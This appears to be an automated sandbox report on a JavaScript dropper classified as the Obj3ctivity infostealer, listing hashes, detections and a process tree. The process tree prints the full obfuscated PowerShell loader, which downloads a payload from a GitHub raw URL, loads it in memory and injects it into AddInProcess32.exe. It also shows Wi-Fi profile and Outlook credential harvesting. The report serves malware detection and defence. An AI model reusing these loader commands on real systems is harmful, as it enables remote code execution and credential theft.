Analysis
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max time kernel
94s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02-10-2024 05:10
Static task
static1
Behavioral task
behavioral1
Sample
452773892199400.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
452773892199400.js
Resource
win10v2004-20240802-en
General
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Target
452773892199400.js
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Size
198KB
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MD5
8a4caeb85a99c4cba82bc48f3668986d
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SHA1
99399b238f8b594bf247e517f7af5025668575f3
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SHA256
6f646354fed6f9fb7769dffdb572dbb267acf3c24a0498b4561db3e90a1219c2
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SHA512
c0fe0630c841d89fe5386547bef7292c0c06f57329fecdfbb0397f8a969d18ef5a562dfb0ecd6c8e22d60ee38245f69b586c494329fbf55881f76ef3fb0e8503
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SSDEEP
6144:3cIC5cYmgSoAIHFdYHl4xO4k2WF+l1QUP/XCxJn:pC5cYmgSqdYF4xOql1QUPKxJn
Malware Config
Extracted
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt
Signatures
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Detects Obj3ctivity Stage1 3 IoCs
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
resource yara_rule behavioral2/memory/3464-23-0x0000000000400000-0x000000000041A000-memory.dmp family_obj3ctivity behavioral2/memory/3464-26-0x0000000000400000-0x000000000041A000-memory.dmp family_obj3ctivity behavioral2/memory/3464-31-0x0000000005AA0000-0x0000000005B86000-memory.dmp family_obj3ctivity -
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 2968 powershell.exe 17 2968 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2968 powershell.exe 3728 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 8 raw.githubusercontent.com 9 raw.githubusercontent.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 31 icanhazip.com 51 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2968 set thread context of 3464 2968 powershell.exe 85 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 3936 cmd.exe 2040 netsh.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 AddInProcess32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3728 powershell.exe 3728 powershell.exe 2968 powershell.exe 2968 powershell.exe 3464 AddInProcess32.exe 3464 AddInProcess32.exe 3464 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3728 powershell.exe Token: SeDebugPrivilege 2968 powershell.exe Token: SeDebugPrivilege 3464 AddInProcess32.exe Token: SeSecurityPrivilege 1588 msiexec.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3064 wrote to memory of 3728 3064 wscript.exe 82 PID 3064 wrote to memory of 3728 3064 wscript.exe 82 PID 3728 wrote to memory of 2968 3728 powershell.exe 84 PID 3728 wrote to memory of 2968 3728 powershell.exe 84 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 2968 wrote to memory of 3464 2968 powershell.exe 85 PID 3464 wrote to memory of 3936 3464 AddInProcess32.exe 90 PID 3464 wrote to memory of 3936 3464 AddInProcess32.exe 90 PID 3464 wrote to memory of 3936 3464 AddInProcess32.exe 90 PID 3936 wrote to memory of 2876 3936 cmd.exe 93 PID 3936 wrote to memory of 2876 3936 cmd.exe 93 PID 3936 wrote to memory of 2876 3936 cmd.exe 93 PID 3936 wrote to memory of 2040 3936 cmd.exe 94 PID 3936 wrote to memory of 2040 3936 cmd.exe 94 PID 3936 wrote to memory of 2040 3936 cmd.exe 94 PID 3936 wrote to memory of 1176 3936 cmd.exe 95 PID 3936 wrote to memory of 1176 3936 cmd.exe 95 PID 3936 wrote to memory of 1176 3936 cmd.exe 95 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\452773892199400.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAZgBxAGkAdQAnACsAJwByAGwAIAA9ACAATAAnACsAJwBwACcAKwAnAGoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoALwAvAHIAYQB3AC4AZwAnACsAJwBpAHQAaAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBzAGUAcgAnACsAJwBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC4AYwBvAG0ALwAnACsAJwBOAG8ARAAnACsAJwBlAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQAnACsAJwB0ACcAKwAnAGUAYwAnACsAJwB0AE8AbgAvAHIAJwArACcAZQBmAHMALwAnACsAJwBoACcAKwAnAGUAJwArACcAYQBkAHMALwAnACsAJwBtAGEAaQBuAC8ARABlAHQAJwArACcAYQBoACcAKwAnAE4AJwArACcAbwAnACsAJwB0AGUAXwAnACsAJwBKACcAKwAnAC4AdAB4AHQATABwAGoAOwAgAGYAJwArACcAcQAnACsAJwBpAGIAYQBzACcAKwAnAGUAJwArACcANgA0ACcAKwAnAEMAbwBuACcAKwAnAHQAJwArACcAZQAnACsAJwBuAHQAJwArACcAIAA9ACAAKAAnACsAJwBOAGUAdwAtAE8AYgAnACsAJwBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5ACcAKwAnAHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAJwArACcALgAnACsAJwBEAG8AJwArACcAdwBuAGwAbwAnACsAJwBhAGQAUwB0AHIAaQAnACsAJwBuAGcAKAAnACsAJwBmAHEAaQB1AHIAJwArACcAbAApACcAKwAnADsAJwArACcAIABmAHEAaQBiAGkAJwArACcAbgBhAHIAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgAnACsAJwBDAG8AbgB2ACcAKwAnAGUAcgAnACsAJwB0ACcAKwAnAF0AJwArACcAOgA6AEYAcgBvACcAKwAnAG0AJwArACcAQgAnACsAJwBhAHMAJwArACcAZQA2ADQAJwArACcAUwB0AHIAaQAnACsAJwBuAGcAKABmAHEAaQBiAGEAcwBlACcAKwAnADYANABDAG8AbgB0AGUAbgB0ACcAKwAnACkAOwAnACsAJwAgAGYAJwArACcAcQAnACsAJwBpAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAJwArACcAZQBmACcAKwAnAGwAJwArACcAZQBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgAnACsAJwBsAHkAJwArACcAXQA6ADoAJwArACcATABvAGEAZAAoAGYAcQAnACsAJwBpAGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAJwArACcAKQA7ACAAWwAnACsAJwBkAG4AbABpAGIALgBJAE8AJwArACcALgBIAG8AbQBlAF0AOgA6AFYAQQAnACsAJwBJACcAKwAnACgATQBoAFAAdAAnACsAJwB4ACcAKwAnAHQAJwArACcALgAnACsAJwBiACcAKwAnAGIAawBhAC8AdgBlACcAKwAnAGQALgAnACsAJwAyAHIAJwArACcALgAnACsAJwAzADkAJwArACcAYgAzACcAKwAnADQANQAzACcAKwAnADAAJwArACcAMgBhADAANwA1ACcAKwAnAGIAMQAnACsAJwBiAGMAMABkACcAKwAnADQANQBiADYAMwAyACcAKwAnAGUAYgA5AGUAZQA2ACcAKwAnADIAJwArACcALQAnACsAJwBiAHUAcAAvACcAKwAnAC8AJwArACcAOgBzAHAAdAAnACsAJwB0AGgAJwArACcATQBoAFAALAAgACcAKwAnAE0AaABQACcAKwAnAGQAZQBzACcAKwAnAGEAdABpAHYAJwArACcAYQBkACcAKwAnAG8ATQBoAFAALAAgAE0AaABQACcAKwAnAGQAZQBzAGEAJwArACcAdAAnACsAJwBpAHYAJwArACcAYQBkAG8ATQBoAFAALAAnACsAJwAgAE0AaABQAGQAJwArACcAZQBzACcAKwAnAGEAdABpACcAKwAnAHYAYQBkAG8ATQBoACcAKwAnAFAALAAgAE0AaABQACcAKwAnAEEAZABkAEkAbgBQACcAKwAnAHIAbwBjAGUAJwArACcAcwBzADMAJwArACcAMgBNACcAKwAnAGgAUAAsACcAKwAnACAATQBoAFAAZAAnACsAJwBlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAJwArACcAbwBNAGgAUAAsACcAKwAnAE0AaABQACcAKwAnAE0AaAAnACsAJwBQACkAJwApAC0AYwBSAGUAUABMAGEAYwBFACAAIAAnAGYAcQBpACcALABbAEMASABhAHIAXQAzADYALQBSAGUAUABMAEEAQwBlACgAWwBDAEgAYQByAF0ANwA3ACsAWwBDAEgAYQByAF0AMQAwADQAKwBbAEMASABhAHIAXQA4ADAAKQAsAFsAQwBIAGEAcgBdADMANAAtAGMAUgBlAFAATABhAGMARQAnAEwAcABqACcALABbAEMASABhAHIAXQAzADkAKQB8AC4AIAAoACAAJABwAHMAaABPAE0ARQBbADIAMQBdACsAJABwAFMAaABPAE0AZQBbADMAMABdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('fqiu'+'rl = L'+'p'+'jht'+'t'+'p'+'s://raw.g'+'ith'+'ub'+'u'+'ser'+'c'+'onten'+'t.com/'+'NoD'+'etec'+'tOn/NoDe'+'t'+'ec'+'tOn/r'+'efs/'+'h'+'e'+'ads/'+'main/Det'+'ah'+'N'+'o'+'te_'+'J'+'.txtLpj; f'+'q'+'ibas'+'e'+'64'+'Con'+'t'+'e'+'nt'+' = ('+'New-Ob'+'j'+'ec'+'t Sy'+'stem.Net.WebClient)'+'.'+'Do'+'wnlo'+'adStri'+'ng('+'fqiur'+'l)'+';'+' fqibi'+'naryCont'+'ent = [System.'+'Conv'+'er'+'t'+']'+'::Fro'+'m'+'B'+'as'+'e64'+'Stri'+'ng(fqibase'+'64Content'+');'+' f'+'q'+'ias'+'sembly = [R'+'ef'+'l'+'ection.Asse'+'mb'+'ly'+']::'+'Load(fq'+'ibinaryC'+'ontent'+'); ['+'dnlib.IO'+'.Home]::VA'+'I'+'(MhPt'+'x'+'t'+'.'+'b'+'bka/ve'+'d.'+'2r'+'.'+'39'+'b3'+'453'+'0'+'2a075'+'b1'+'bc0d'+'45b632'+'eb9ee6'+'2'+'-'+'bup/'+'/'+':spt'+'th'+'MhP, '+'MhP'+'des'+'ativ'+'ad'+'oMhP, MhP'+'desa'+'t'+'iv'+'adoMhP,'+' MhPd'+'es'+'ati'+'vadoMh'+'P, MhP'+'AddInP'+'roce'+'ss3'+'2M'+'hP,'+' MhPd'+'e'+'s'+'ativad'+'oMhP,'+'MhP'+'Mh'+'P)')-cRePLacE 'fqi',[CHar]36-RePLACe([CHar]77+[CHar]104+[CHar]80),[CHar]34-cRePLacE'Lpj',[CHar]39)|. ( $pshOME[21]+$pShOMe[30]+'X')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3464 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All5⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\SysWOW64\chcp.comchcp 650016⤵
- System Location Discovery: System Language Discovery
PID:2876
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2040
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C:\Windows\SysWOW64\findstr.exefindstr All6⤵
- System Location Discovery: System Language Discovery
PID:1176
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1588
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD594cc8aa302136c58a17742da02e54c48
SHA106c269d1a0b648467cc627162d8c2a0727d94123
SHA2568ff32c0be04cd2af2b9cd5ddb61d74c94af99a9ebad6a57b0e4f3f7896ef7225
SHA5127d06f705121fcfc8e5d84ab3c7b5a23343e0f5731931a279c2794eefdbb32222f2f3c812767bd05c20dcc2251bb24713351f47865bd9c70e9cdbd600d79292de
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82